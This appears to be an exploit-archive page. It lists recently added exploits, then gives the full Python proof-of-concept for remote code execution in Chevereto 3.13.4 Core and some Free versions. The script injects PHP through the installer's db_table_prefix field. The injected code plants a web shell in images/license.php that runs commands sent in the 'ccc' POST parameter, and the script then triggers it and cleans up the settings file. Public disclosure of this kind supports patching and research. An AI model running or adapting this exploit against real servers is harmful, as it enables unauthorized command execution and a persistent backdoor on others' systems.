83d2726c75
14 changes to exploits/shellcodes SpotDialup 1.6.7 - 'Name' Denial of Service (PoC) SpotOutlook 1.2.6 - 'Name' Denial of Service (PoC) Top Password Software Dialup Password Recovery 1.30 - Denial of Service (PoC) Backup Key Recovery 2.2.5 - 'Name' Denial of Service (PoC) TaskCanvas 1.4.0 - 'Registration' Denial Of Service Top Password Firefox Password Recovery 2.8 - Denial of Service (PoC) Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions Allok Video Converter 4.6.1217 - Stack Overflow (SEH) Allok RM RMVB to AVI MPEG DVD Converter 3.6.1217 - Stack Overflow (SEH) Microsoft Windows 10 build 1809 - Local Privilege Escalation (UAC Bypass) Chevereto 3.13.4 Core - Remote Code Execution Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution (Metasploit) Digi AnywhereUSB 14 - Reflective Cross-Site Scripting
60 lines
No EOL
2 KiB
Python
Executable file
60 lines
No EOL
2 KiB
Python
Executable file
# Exploit Title: Chevereto 3.13.4 Core - Remote Code Execution
|
|
# Date: 2020-01-11
|
|
# Exploit Author: Jinny Ramsmark
|
|
# Vendor Homepage: https://chevereto.com/
|
|
# Software Link: https://github.com/Chevereto/Chevereto-Free/releases
|
|
# Version: 1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core
|
|
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
|
|
# CVE : N/A
|
|
|
|
from urllib import request, parse
|
|
from time import sleep
|
|
|
|
#Python3
|
|
#Needs to have a valid database server, database and user to exploit
|
|
#1.0.0 Free version confirmed vulnerable
|
|
#1.1.4 Free version confirmed vulnerable
|
|
#3.13.4 Core version confirmed vulnerable
|
|
|
|
def main():
|
|
|
|
target = 'http://cheveretoinstallation/'
|
|
cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'
|
|
db_host = 'ip_to_valid_mysql'
|
|
db_name = 'valid_db'
|
|
db_user = 'valid_user'
|
|
db_pass = 'valid_pass'
|
|
db_table_prefix = 'chv_'
|
|
|
|
inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"
|
|
|
|
#Clean data for when we want to clean up the settings file
|
|
params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}
|
|
data = parse.urlencode(params).encode()
|
|
|
|
#Settings data with injected code
|
|
params['db_table_prefix'] += inject
|
|
dataInject = parse.urlencode(params).encode()
|
|
|
|
#Do inject
|
|
doPostRequest(target + 'install', dataInject, cookie)
|
|
sleep(1)
|
|
|
|
#Request index page to run the injected code
|
|
doRequest(target)
|
|
|
|
sleep(1)
|
|
#Do a clean request to clean up the settings.php file
|
|
doPostRequest(target + 'install', data, cookie)
|
|
|
|
def doPostRequest(target, data, cookie):
|
|
req = request.Request(target, data=data)
|
|
req.add_header('Cookie', cookie)
|
|
resp = request.urlopen(req)
|
|
|
|
def doRequest(target):
|
|
req = request.Request(target)
|
|
resp = request.urlopen(req)
|
|
|
|
if __name__ == '__main__':
|
|
main() |